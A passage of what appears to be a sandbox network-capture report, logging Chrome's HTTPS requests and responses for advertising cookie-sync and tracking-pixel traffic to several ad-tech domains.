2024-01-10 23:27:30 UTC	646	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:30 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_391=22924-7455955347164126958&KRTB&23263-7455955347164126958&KRTB&23481-7455955347164126958; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:30 GMT; path=/ Set-Cookie: PugT=1704929250; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:30 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:30 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
702	192.168.2.4	50542	34.111.113.62	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:30 UTC	552	OUT	GET /idsync/ex/receive?partner_id=3203&partner_device_id=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&gdpr=0&gdpr_consent= HTTP/1.1 Host: pixel.tapad.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TapAd_TS=1704929237034; TapAd_DID=d16e3823-cacb-438f-9bfc-c2bc8c823251; TapAd_3WAY_SYNCS=1!263
2024-01-10 23:27:30 UTC	1100	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:30 GMT Strict-Transport-Security: max-age=31536000 Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-Mobile Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-WoW64 P3P: policyref="http://tapad-taptags.s3.amazonaws.com/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" Set-Cookie: TapAd_TS=1704929237034;Expires=Sun, 10 Mar 2024 23:27:30 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Set-Cookie: TapAd_DID=d16e3823-cacb-438f-9bfc-c2bc8c823251;Expires=Sun, 10 Mar 2024 23:27:30 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Set-Cookie: TapAd_3WAY_SYNCS=1!263;Expires=Sun, 10 Mar 2024 23:27:30 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Content-Type: image/png Content-Length: 95 Server: Jetty(11.0.13) Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-10 23:27:30 UTC	95	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 0a 49 44 41 54 08 d7 63 60 00 00 00 02 00 01 e2 21 bc 33 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR%VPLTEz=tRNS@fIDATc`!3IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
703	192.168.2.4	50545	18.160.10.49	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:30 UTC	482	OUT	GET /syncMe?partnerDomain=mrtnsvr.com&idType=cookie&partnerUserId=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&gdpr=0&gdpr_consent= HTTP/1.1 Host: synchroscript.deliveryengine.adswizz.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:30 UTC	312	IN	HTTP/1.1 200 OK Server: CloudFront Date: Wed, 10 Jan 2024 23:27:30 GMT Content-Length: 0 Connection: close X-Cache: Error from cloudfront Via: 1.1 f57a09c5455a80253c61001d750462e6.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAD12-P3 X-Amz-Cf-Id: VNvZQi0L9V0mncXL48hnyX6G2Pk1PavROvRyI765dyHelDqLzNr9Ew==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
704	192.168.2.4	50546	38.68.201.140	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:30 UTC	419	OUT	GET /sn.ashx?ak=1 HTTP/1.1 Host: pmp.mxptint.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: mxpim=R33645_10F17D40A_8AEC9589.1.0000000000000000659F27DE
2024-01-10 23:27:30 UTC	242	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: image/gif Expires: -1 Date: Wed, 10 Jan 2024 23:27:29 GMT Connection: close Content-Length: 43 Strict-Transport-Security: max-age=-387934050; includeSubDomains
2024-01-10 23:27:30 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 db df ef 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
705	192.168.2.4	50547	162.248.18.37	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:30 UTC	3707	OUT	GET /AdServer/Pug?gdpr_consent=&gdpr=0&piggybackCookie=uid:849a4113-d09c-4482-ae21-8f29dfa74f3d&vcode=bz0yJnR5cGU9MSZjb2RlPTMwNjImdGw9MTI5NjAw HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; KRTBCOOKIE_22=14911-8266606981038422920&KRTB&23150-8266606981038422920&KRTB&23527-8266606981038422920; KRTBCOOKIE_1251=23269-di_1673c61b98ba4fbcabc0c; KRTBCOOKIE_391=22924-7455955347164126958&KRTB&23263-7455955347164126958&KRTB&23481-7455955347164126958; KRTBCOOKIE_188=3189-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553&KRTB&23418-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553; KRTBCOOKIE_1278=23329-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23340-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23498-40f09b66-e671-4da3-b991-c14247c4cce6; KRTBCOOKIE_1323=23480-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23485-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23524-OPU94c5f6bfc10e4266866ca02b6e163de0; KRTBCOOKIE_52=22772-R33645_10F17D40A_8AEC9589&KRTB&23092-R33645_10F17D40A_8AEC9589; chkChromeAb67Sec=4; pi=159463:4; DPSync3=1705449600%3A253_252_265%7C1704931200%3A248_255%7C1705881600%3A257%7C1706054400%3A260_201_261_262_256_245_263_258_236_259; SyncRTB3=1706054400%3A56_233_13_250_71_166_178_8_234_220_176_81_3_21_96_264_99_240_55_48_54_243_104_5_46_238_231_249_165_7_214_22%7C1705708800%3A63%7C1706140800%3A35%7C1705449600%3A223_2_15_38%7C1707436800%3A224%7C1710028800%3A69; KRTBCOOKIE_594=17105-RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005&KRTB&17107-RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005; SPugT=1704929249; PugT=1704929248; KRTBCOOKIE_32=11175-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22713-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22715-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&23519-AAAHeHO4ZcfjXANgwiqRAAAAAAA
2024-01-10 23:27:30 UTC	319	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:30 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:30 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
706	192.168.2.4	50544	69.194.240.13	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:30 UTC	1006	OUT	GET /csync/RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005?redir=https%3A%2F%2Fsimage2.pubmatic.com%2FAdServer%2FPug%3Fvcode%3Dbz0yJnR5cGU9MSZjb2RlPTMyMDMmdGw9NDMyMDA%3D%26piggybackCookie%3DRX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005 HTTP/1.1 Host: sync.targeting.unrulymedia.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005%22%7D
2024-01-10 23:27:30 UTC	628	IN	HTTP/1.1 302 Found date: Wed, 10 Jan 2024 23:27:30 GMT content-type: text/html transfer-encoding: chunked set-cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005%22%7D; path=/; expires=Thu, 09 Jan 2025 23:27:30 GMT; domain=.targeting.unrulymedia.com; samesite=none; secure; httponly p3p: CP="This is not a P3P policy! See https://www.rhythmone.com/p3p to learn why" location: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMyMDMmdGw9NDMyMDA=&piggybackCookie=RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005 etag: RX3aca3d5089944e16b777d0ebcb44b35f005 connection: close
2024-01-10 23:27:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
707	192.168.2.4	50548	52.85.132.46	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:30 UTC	655	OUT	GET /profiles_engine/ProfilesEngineServlet?at=20&mi=10&dpi=793790479&3rddpi=1725065545&3rdpcid=LR8EUG12-1F-5JG4&ckls=true&ci=OTFG5Uc4GZ&nc=false&trid=1840002933 HTTP/1.1 Host: sync1.intentiq.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IQver=1.9; intentIQ=OTFG5Uc4GZ; ASDT=0; intentIQCDate=1704929248424; IQPData=1722101802#1704929248422#0#1704929248422; CSDT=UEQ6MTUxMDZfMCZVMTBQTk5h
2024-01-10 23:27:30 UTC	1201	IN	HTTP/1.1 200 Content-Type: image/gif Content-Length: 43 Connection: close Date: Wed, 10 Jan 2024 23:27:30 GMT Set-Cookie: IQver=1.9; Domain=.intentiq.com; Expires=Fri, 09 Jan 2026 23:27:30 GMT; Path=/; Secure; SameSite=None P3P: CP="NOI DSP COR NID CURa ADMo TAIa PSAo PSDo OUR SAMo BUS UNI PUR COM NAV INT DEM CNT STA PRE LOC" Set-Cookie: ASDT=0; Domain=.intentiq.com; Expires=Fri, 09 Jan 2026 23:27:30 GMT; Path=/; Secure; SameSite=None Set-Cookie: intentIQ=OTFG5Uc4GZ; Domain=.intentiq.com; Expires=Fri, 09 Jan 2026 23:27:30 GMT; Path=/; Secure; SameSite=None Set-Cookie: IQPData=1722101802#1704929250479#0#1704929248422; Domain=.intentiq.com; Expires=Fri, 09 Jan 2026 23:27:30 GMT; Path=/; Secure; SameSite=None Set-Cookie: CSDT=UEQ6MTUxMDZfMCZVMTBQTnVq; Domain=.intentiq.com; Expires=Fri, 09 Jan 2026 23:27:30 GMT; Path=/; Secure; SameSite=None Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT X-Cache: Miss from cloudfront Via: 1.1 e67eec39bafe7d4b59266632bc2a9886.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAD50-C2 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: N-zram3II2KpyDYS4RUbFx6pnL-9VaRvfTL2B7_ni0ntyIX5_I-0pg==
2024-01-10 23:27:30 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
708	192.168.2.4	50550	54.85.14.136	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:30 UTC	722	OUT	GET /s/28292?bidder_id=71340&bidder_uuid=k-zYEETO1oxBdmU1nhVf4H-RCrhtry-NA8wpvQXw HTTP/1.1 Host: i.liadm.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _li_ss=CggKBgjdARD4Fg; lidid=3b659a55-4870-43e2-ac06-3f9936cf3c4b
2024-01-10 23:27:30 UTC	590	IN	HTTP/1.1 303 See Other Date: Wed, 10 Jan 2024 23:27:30 GMT Content-Length: 0 Connection: close Location: https://i6.liadm.com/s/28292?bidder_id=71340&bidder_uuid=k-zYEETO1oxBdmU1nhVf4H-RCrhtry-NA8wpvQXw Set-Cookie: _li_ss=ChMKBgjdARD4FgoJCP____8HEIIX; Max-Age=2592000; Expires=Fri, 09 Feb 2024 23:27:30 GMT; SameSite=None; Path=/s; Secure Set-Cookie: lidid=3b659a55-4870-43e2-ac06-3f9936cf3c4b; Max-Age=63072000; Expires=Fri, 09 Jan 2026 23:27:30 GMT; SameSite=None; Path=/; Domain=liadm.com; Secure Request-Time: 2 Strict-Transport-Security: max-age=31536000; includeSubDomains

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
709	192.168.2.4	50551	162.248.18.34	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:30 UTC	3812	OUT	GET /AdServer/SPug?partnerID=159463&gdpr=0&gdpr_consent=&us_privacy=1YNN HTTP/1.1 Host: simage4.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; KRTBCOOKIE_22=14911-8266606981038422920&KRTB&23150-8266606981038422920&KRTB&23527-8266606981038422920; KRTBCOOKIE_1251=23269-di_1673c61b98ba4fbcabc0c; KRTBCOOKIE_391=22924-7455955347164126958&KRTB&23263-7455955347164126958&KRTB&23481-7455955347164126958; KRTBCOOKIE_188=3189-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553&KRTB&23418-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553; KRTBCOOKIE_1278=23329-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23340-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23498-40f09b66-e671-4da3-b991-c14247c4cce6; KRTBCOOKIE_1323=23480-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23485-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23524-OPU94c5f6bfc10e4266866ca02b6e163de0; KRTBCOOKIE_52=22772-R33645_10F17D40A_8AEC9589&KRTB&23092-R33645_10F17D40A_8AEC9589; chkChromeAb67Sec=4; pi=159463:4; DPSync3=1705449600%3A253_252_265%7C1704931200%3A248_255%7C1705881600%3A257%7C1706054400%3A260_201_261_262_256_245_263_258_236_259; SyncRTB3=1706054400%3A56_233_13_250_71_166_178_8_234_220_176_81_3_21_96_264_99_240_55_48_54_243_104_5_46_238_231_249_165_7_214_22%7C1705708800%3A63%7C1706140800%3A35%7C1705449600%3A223_2_15_38%7C1707436800%3A224%7C1710028800%3A69; KRTBCOOKIE_594=17105-RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005&KRTB&17107-RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005; SPugT=1704929249; KRTBCOOKIE_32=11175-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22713-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22715-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&23519-AAAHeHO4ZcfjXANgwiqRAAAAAAA; PugT=1704929250
2024-01-10 23:27:30 UTC	408	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:30 GMT Transfer-Encoding: chunked Connection: close Set-Cookie: SPugT=1704929250; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:30 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
710	192.168.2.4	50549	162.248.18.37	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:30 UTC	3686	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI4NzUmdGw9NDMyMDA=&gdpr=0&gdpr_consent=&piggybackCookie=7455955347164126958 HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; KRTBCOOKIE_22=14911-8266606981038422920&KRTB&23150-8266606981038422920&KRTB&23527-8266606981038422920; 